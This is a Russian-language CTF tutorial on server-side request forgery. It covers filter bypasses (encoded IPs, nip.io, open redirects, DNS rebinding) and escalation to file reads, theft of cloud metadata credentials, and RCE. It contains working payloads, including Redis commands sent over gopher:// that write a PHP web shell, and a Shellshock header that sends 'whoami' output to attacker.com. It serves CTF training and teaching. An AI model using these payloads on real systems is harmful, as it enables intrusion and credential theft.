
На web-этапе CTF задание стоимостью 500 очков сводилось к одному POST-параметру url=. Подставляю http://127.0.0.1 — 403 Forbidden. Подставляю http://2130706433 — HTML внутренней панели с флагом. Одна строка, один payload. Но до неё я перебрал полтора десятка техник обхода, и большинство из них сдохли на фильтре.
Server-Side Request Forgery — уязвимость, где понимание почему фильтр обходится важнее знания конкретного payload. SSRF сидит на позиции A10:2021 в OWASP Top 10 и API7:2023 в OWASP API Security Top 10. На CTF-соревнованиях SSRF-задания появляются стабильно каждый сезон, авторы накручивают фильтры всё злее. Ниже — полный арсенал: от подтверждения уязвимости запросов на стороне сервера до цепочек эксплуатации SSRF уязвимостей вплоть до RCE.
Прежде чем перебирать bypass-техники, докажи, что сервер вообще ходит наружу по адресу из пользовательского ввода. Два сценария: classic SSRF (ответ внутреннего сервиса видно в HTTP-ответе приложения) и blind SSRF (ответ не виден, сервер молча выполняет запрос). Подробнее — в нашем материале про создание ctf заданий.
Для classic SSRF хватит подставить URL своего сервера. На CTF обычно достаточно python3 -m http.server 8080 на VPS — если в логах появился входящий GET с IP задания, SSRF подтверждена.
Для blind SSRF нужен out-of-band (OOB) канал. Стандартный инструмент — Burp Collaborator (Burp Suite Pro). Бесплатные альтернативы: interactsh от ProjectDiscovery, webhook.site, canarytokens. Подставляешь сгенерированный домен в подозрительный параметр — если Collaborator фиксирует DNS-lookup или HTTP-запрос, сервер обратился по указанному адресу. Уязвимость есть. Если дефолтный домен Collaborator (oastify.com) фильтруется — поднимите свой Collaborator-сервер на VPS. Дефолтный домен часто попадает в блоклисты, это известная боль.
Даже если HTTP-трафик наружу заблокирован, DNS-резолв почти всегда разрешён. Payload вида http://uniqueid.your-collaborator.com может не пройти по HTTP, но DNS-запрос зафиксируется — этого хватает для подтверждения. DNS пролезает почти всегда.
Ещё один приём для semi-blind сценария (ответа нет, но есть различия в поведении): отправляйте запросы к http://127.0.0.1:PORT/ с разными портами и замеряйте время ответа или статус-коды. Открытый порт (6379 для Redis, 3306 для MySQL, 9200 для Elasticsearch) вернёт ответ быстрее или с другим кодом, чем закрытый. Для автоматизации — ffuf с wordlist'ом портов и фильтром -fs 0 (отсечь пустые ответы). Это уже не только подтверждение SSRF, но и сканирование внутренней сети — Network Service Discovery (T1046, тактика Discovery по MITRE ATT&CK).
В реальных CTF-заданиях прямой запрос к 127.0.0.1 не проходит — стоит blacklist или whitelist. Разберём каждый тип фильтра с конкретными server-side request forgery примерами обхода.
Blacklist-фильтр проверяет строку на вхождение 127.0.0.1, localhost, 10.x.x.x, 192.168.x.x, 172.16-31.x.x. Проблема blacklist'а: один IP можно записать десятком способов, а regex сверяет строковое представление, не числовое значение.
http://2130706433/ # decimal: 127*256^3 + 0*256^2 + 0*256 + 1
http://0x7f000001/ # hex
http://0177.0.0.1/ # octal: curl -> inet_aton; Python requests -> getaddrinfo ОС
http://127.1/ # сокращённая форма
http://0/ # на Linux 0 (INADDR_ANY) маршрутизируется как 127.0.0.1
http://[::1]/ # IPv6 loopback
http://[0000::1]:80/ # полная форма IPv6 loopback
http://127.0.0.1.nip.io/ # DNS-сервис -> резолвит в 127.0.0.1
http://0x7f.0.0.1/ # смешанный формат hex + decimal
Какой вариант сработает — зависит от HTTP-клиента на сервере. Python requests на Linux принимает octal через inet_aton из glibc, а Java InetAddress — нет. Если удалось определить стек задания (через заголовки ответа, сообщения об ошибках, поведение приложения) — выбирайте представление под конкретный парсер. SSRF payload список из репозитория PayloadsAllTheThings (раздел Server Side Request Forgery) содержит десятки вариантов, отсортированных по типу фильтра.
DNS-сервисы nip.io и sslip.io заслуживают отдельного внимания: запрос к http://127.0.0.1.nip.io/ резолвится в 127.0.0.1, но строковая проверка фильтра может не распознать IP в формате поддомена. Фильтр видит «какой-то домен .nip.io», а DNS возвращает 127.0.0.1. Просто и красиво.
Whitelist-фильтр разрешает запросы только к определённым доменам. Это сильнее blacklist'а, но спецификация URL (RFC 3986) содержит конструкции, которые разработчики фильтров упускают. По данным PortSwigger, основные техники обхода whitelist SSRF:
Embedded credentials (@). URL https://allowed-host@evil-host по RFC указывает на хост evil-host с credentials allowed-host. Если фильтр проверяет начало URL через startswith('https://allowed-host') — он пропустит payload, а HTTP-клиент пойдёт на evil-host.
Fragment (#). URL https://evil-host#allowed-host содержит fragment, который не отправляется серверу при HTTP-запросе, но может обмануть строковую проверку на вхождение allowed-host.
DNS hierarchy. Поддомен https://allowed-host.evil-host проходит проверку «содержит строку allowed-host», но резолвится на DNS атакующего.
Double URL encoding. Некоторые фильтры декодируют URL один раз, а HTTP-клиент — дважды. Символ %2570 после первого декодирования становится %70, после второго — p. Фильтр проверяет строку с %70, клиент получает p — bypass.
URL parser confusion — несогласованность между тем, как URL разбирает фильтр и как его интерпретирует HTTP-клиент — один из самых мощных классов bypass-техник. На CTF это часто реализуется как разница между urlparse() и фактическим поведением requests.get() в Python. Комбинируйте: https://allowed-host%23@evil-host может обойти и whitelist-проверку, и парсер одновременно.
Если приложение следует HTTP-редиректам (Python requests, PHP curl с CURLOPT_FOLLOWLOCATION, Java HttpURLConnection — по умолчанию следуют), проверка URL происходит только для первого запроса. Атака:
302 Found с Location: http://127.0.0.1/adminНа CTF это часто реализуется через open redirect на самом целевом сервере. Находите эндпоинт /redirect?url=http://127.0.0.1/, подставляете его в SSRF-параметр — фильтр видит «свой» домен и пропускает. Redirect based SSRF — один из первых bypass'ов, который стоит пробовать.
Если open redirect на целевом сервере нет — попробуйте r3dir. Это публичный сервис (r3dir.me): запрос curl "https://302.r3dir.me/--to/?url=http://127.0.0.1" возвращает 302 Found с Location: http://127.0.0.1. Фильтр видит домен r3dir.me (внешний, не в blacklist'е), HTTP-клиент следует редиректу на localhost.
r3dir позволяет менять схему URL: https://302.r3dir.me/--to/?url=file:///etc/passwd отправит редирект с HTTPS на file:// — если HTTP-клиент поддерживает эту схему, получаете чтение локальных файлов через redirect. Для обхода whitelist r3dir поддерживает произвольный доменный префикс: http://allowed-domain.--.encoded-payload.302.r3dir.me — строка allowed-domain игнорируется сервером, но может пройти whitelist-валидацию.
Тонкость со статус-кодами: 301, 302, 303 заставляют большинство HTTP-клиентов сменить метод на GET. А 307 и 308 сохраняют оригинальный метод. На CTF это важно, когда SSRF через POST-параметр, а внутренний сервис отдаёт данные только по GET. r3dir позволяет выбирать статус-код через поддомен: 301.r3dir.me, 307.r3dir.me и т.д.
DNS rebinding эксплуатирует разрыв между моментом проверки и моментом использования URL:
Для создания rebinding-домена можно использовать сервис rebinder от taviso: https://lock.cmpxchg8b.com/rebinder.html. Вводите два IP (внешний и целевой внутренний), получаете домен, который чередует DNS-ответы. IP чередуются случайным образом — может потребоваться несколько попыток. Для более предсказуемого результата поднимите собственный DNS-сервер с контролируемым TTL.
На CTF DNS rebinding встречается реже, потому что требует специфической реализации фильтра: отдельный DNS-резолв для проверки перед отправкой запроса. Но когда встречается — это обычно задание на высокий балл, и конкуренция за решение ниже. Если видите двойной DNS-резолв в задании — сразу думайте rebinding.
Многие HTTP-клиенты поддерживают не только http:// и https://. Если фильтр проверяет только хост, а не схему — открывается серьёзный вектор атак.
file:// — классика CTF. curl, PHP file_get_contents(), Java URL.openStream() поддерживают эту схему. SSRF превращается в чтение произвольных файлов. Типичные цели: /etc/passwd (подтверждение LFI), /proc/self/environ (переменные окружения с секретами), /proc/self/cmdline (аргументы запуска приложения), конфигурационные файлы (.env, config.py), флаг в /flag.txt или /app/flag. Если прямой file:// заблокирован — комбинируйте с redirect: https://302.r3dir.me/--to/?url=file:///etc/passwd.
gopher:// — текстовый протокол, позволяющий отправить произвольные данные на любой хост и порт. По данным YesWeHack, gopher — главный вектор эскалации SSRF до RCE через внутренние сервисы Redis, FastCGI и MySQL.
SSRF к Redis до RCE. Redis по умолчанию слушает на 127.0.0.1:6379 без аутентификации. Через gopher:// отправляется последовательность Redis-команд. Атака работает только при выполнении условий: Redis запущен без AUTH и без protected-mode (включён по умолчанию с Redis 3.2+), процесс имеет права на запись в web-root. В Redis 6+/7+ все эти условия редко выполняются без дополнительной мисконфигурации — но на CTF Redis обычно специально настроен без защит. Пример команд:
SET shell "<?php system($_GET['cmd']);?>"
CONFIG SET dir /var/www/html/
CONFIG SET dbfilename shell.php
SAVE
QUIT
Эти команды записывают PHP-шелл на диск через механизм сохранения базы Redis. Для генерации URL-encoded gopher-payload'а используется Gopherus (архивный проект 2020 года, но всё ещё работает): gopherus --exploit redis. Аналогичная цепочка для FastCGI: gopherus --exploit fastcgi генерирует payload, который через gopher:// отправляет FastCGI-запрос с параметром PHP_VALUE, включающим auto_prepend_file для инъекции кода.
Дополнительные URL-схемы: dict:// (отправляет одну строку на порт — полезно для fingerprint'а сервисов), sftp://, tftp://. Набор поддерживаемых схем зависит от стека: PHP с curl-wrappers поддерживает максимальный набор, Java — ограниченный. Java HttpURLConnection по умолчанию не следует редиректам между разными протоколами (HTTP→HTTPS или HTTP→file) — это задокументированное поведение и важное ограничение для redirect-based bypass'ов с переключением на file:// или gopher://.
На CTF с облачной инфраструктурой (или симулирующих её) главная цель SSRF — metadata endpoint. В терминах MITRE ATT&CK это техника T1552.005 — Cloud Instance Metadata API (тактика Credential Access).
AWS IMDSv1 — самый лакомый случай. GET-запрос к http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name> возвращает AccessKeyId, SecretAccessKey и SessionToken без аутентификации. IMDSv1 остаётся дефолтом только на старых инстанциях; с 2019 AWS продвигает IMDSv2, а с 2024 принудительно включает IMDSv2-only на новых аккаунтах и AMI. На CTF IMDSv1 всё ещё часто эмулируется, но в реальной инфраструктуре встречается всё реже. На CTF обычно хватает обратиться к /latest/meta-data/ через SSRF и рекурсивно вычитать credentials.
IMDSv2 усложняет жизнь: требуется предварительный PUT-запрос с заголовком X-aws-ec2-metadata-token-ttl-seconds для получения session token. Через типовой GET-based SSRF это невозможно — нужен gopher:// или HTTP request smuggling.
GCP требует заголовок Metadata-Flavor: Google при запросе к http://metadata.google.internal/computeMetadata/v1/. Azure — заголовок Metadata: true при запросе к http://169.254.169.254/metadata/instance. Оба случая сложнее IMDSv1 AWS: не каждый HTTP-клиент позволяет контролировать заголовки через SSRF-параметр.
Доступ к внутренним сервисам через SSRF в облаке — не только CTF-экзотика. По данным IBM X-Force Threat Intelligence Index 2025, рост атак с использованием действительных учётных данных составил 71% год к году. Облачные credentials, полученные через SSRF к metadata-сервису — один из возможных источников таких данных (хотя прямой статистики по доле SSRF в этой цифре нет).
Blind SSRF на первый взгляд — тупик: сервер отправляет запрос, но ответ не виден. Но комбинация с другими уязвимостями превращает blind SSRF в полноценное RCE.
Классическая цепочка — blind SSRF + Shellshock (CVE-2014-6271). Уязвимость в GNU Bash до версии 4.3, CVSS 9.8 CRITICAL, вектор CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H, CWE-78 — OS Command Injection. EPSS = 1.0 — максимум шкалы. CVE в каталоге CISA KEV (добавлена 2022-01-28): уязвимость зафиксирована как эксплуатируемая в дикой природе. Баге десять лет, а она до сих пор всплывает на CTF — и на реальных серверах тоже.
Сценарий: через SSRF отправляется запрос к внутреннему CGI-сервису (http://internal-host/cgi-bin/script.sh). В заголовке User-Agent передаётся Shellshock-payload: () { :; }; /bin/nslookup $(whoami).attacker.com. Если внутренний сервис обрабатывает CGI через Bash — команда выполняется, результат уходит через DNS на контролируемый домен. На CTF эта комбинация появляется регулярно. Расширение «Collaborator Everywhere» для Burp Suite автоматически добавляет OOB-payload'ы в заголовки исходящих запросов и помогает обнаруживать такие цепочки.
Другие цепочки для практики: SSRF через gopher к Redis с записью webshell'а (описано выше), SSRF к внутреннему API без аутентификации для чтения конфигурации с паролями (T1552.001 — Credentials In Files), SSRF к Kubernetes API через http://kubernetes.default.svc для извлечения данных кластера.
Видишь параметр, принимающий URL — действуй по алгоритму.
Шаг 1: подтверди SSRF. Подставь URL Collaborator/interactsh/VPS. Если callback пришёл — уязвимость есть. Не забывай про нестандартные точки входа: заголовки X-Forwarded-Host, Referer, Host, параметры callback, webhook, image_url, src, file_url. По данным YesWeHack, SSRF через SVG-файлы (<image href="http://127.0.0.1/"/>), XML с внешними сущностями (XXE в связке с SSRF), PDF-генераторы (wkhtmltopdf, Puppeteer) и даже Referer-заголовок для серверной аналитики — реальные точки входа, которые авторы CTF берут на вооружение. PDF-генераторы особенно опасны: headless-браузер поддерживает file:// и выполняет JavaScript, что позволяет вычитать локальные файлы и отправить их на внешний сервер через JS-fetch.
Шаг 2: определи тип фильтра. Отправь http://127.0.0.1 и http://your-external-server.com. Первое блокируется, второе проходит — blacklist. Оба блокируются, проходит только конкретный домен — whitelist. Блокируется всё — фильтр по схеме, по порту, или SSRF нет.
Шаг 3: подбери bypass. Для blacklist: альтернативные IP (decimal, hex, octal, IPv6), DNS-сервисы (nip.io), redirect через r3dir. Для whitelist: URL parser confusion (@, #, поддомены), open redirect на целевом домене, DNS rebinding. Для фильтра по схеме: redirect из HTTPS на HTTP или file.
Шаг 4: эксплуатируй. Порядок проверки: сканирование портов через http://127.0.0.1:PORT/ (T1046 — Network Service Discovery) → чтение файлов через file:///etc/passwd → cloud metadata через http://169.254.169.254/ (T1552.005) → RCE через gopher + Redis/FastCGI. Каждый шаг — отдельный вектор эскалации.
Шаг 5: автоматизируй. ffuf для фаззинга портов, Gopherus для генерации gopher-строк. SSRFmap (последний активный коммит — 2023) может помочь с автоматизацией, но на CTF часто быстрее работать руками через Burp Repeater. Я обычно так и делаю — автоматизация хороша для перебора, но финальный payload всё равно собираешь вручную.
Большинство SSRF web CTF writeup'ов сводятся к одной из трёх схем: bypass blacklist через альтернативный IP и чтение флага с localhost; bypass whitelist через open redirect и cloud metadata credentials; gopher через redirect и Redis RCE. Освоив эти три паттерна — решите 80% SSRF в CTF.
Главная проблема эксплуатации SSRF в CTF-сообществе — не недостаток payload'ов, а непонимание, почему они работают. Большинство игроков копируют строки из чит-листов и подставляют одну за другой — brute force по справочнику. Такой подход решает простые задания и ломается на кастомных фильтрах. Когда разбираю чужие writeup'ы — в девяти из десяти нет ни слова о том, какой HTTP-клиент стоит на сервере и как он парсит URL. А от этого зависит всё: пройдёт ли octal-нотация, последует ли клиент за редиректом, поддерживается ли gopher. Один payload на Python requests, PHP curl и Java HttpURLConnection ведёт себя по-разному. Без понимания стека обход фильтров SSRF превращается в случайный перебор.
Ещё одна вещь, которую редко признают: blind SSRF на CTF оценивается ниже classic, хотя в реальной работе она опаснее. На проде blind SSRF через webhook висит месяцами — «ответа нет, значит не уязвимость». А через неё уходят облачные credentials. На CTF стоит решать blind-задания первыми — конкуренция меньше, а навык ценнее. Если хочешь не просто writeup читать, а пройти всю цепочку атаки самостоятельно — на WAPT есть лабы на каждый из описанных векторов.
🚀 Хочешь закрепить на практике? Реши задачи по теме на HackerLab — категория «pentest-machines».
0 комментариев
Пожалуйста, войдите, чтобы оставить комментарий.
Загрузка комментариев...